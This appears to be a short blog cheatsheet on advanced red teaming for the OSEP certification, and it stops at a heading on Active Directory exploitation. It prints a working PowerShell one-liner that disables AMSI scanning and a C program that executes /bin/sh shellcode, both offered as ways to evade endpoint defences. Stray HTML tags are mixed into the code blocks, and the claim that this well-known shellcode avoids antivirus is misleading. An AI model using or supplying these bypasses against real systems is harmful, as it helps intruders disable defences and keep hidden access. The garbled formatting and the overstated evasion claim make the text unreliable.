From OSCP to OSEP: The Ultimate Red Teaming Cheatsheet

Listen to this Post

In the world of cybersecurity, the journey from OSCP (Offensive Security Certified Professional) to OSEP (Offensive Security Experienced Penetration Tester) is a significant leap. While OSCP equips you with the foundational skills to break into systems, OSEP takes it a step further by teaching you how to stay in—undetected. This article delves into the key aspects of OSEP, providing you with practical commands, codes, and steps to master advanced red teaming techniques.

You Should Know:

1. EDR & AMSI Bypass:

  • EDR (Endpoint Detection and Response) and AMSI (Antimalware Scan Interface) are modern defenses designed to detect and prevent malicious activities. Bypassing these defenses is crucial for maintaining access to a compromised system.
  • Command Example:
    </li>
    </ul>
    
    <h1>Bypass AMSI using PowerShell</h1>
    
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
    

    2. Custom Shellcoding:

    • Shellcoding involves writing custom payloads that can execute on a target system without being detected by antivirus software.
    • Code Example:
      #include <stdio.h>
      #include <string.h></li>
      </ul>
      
      unsigned char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
      
      int main() {
      printf("Shellcode Length: %d\n", strlen(code));
      int (<em>ret)() = (int(</em>)())code;
      ret();
      }
      

      3. Active Directory (AD) Exploitation: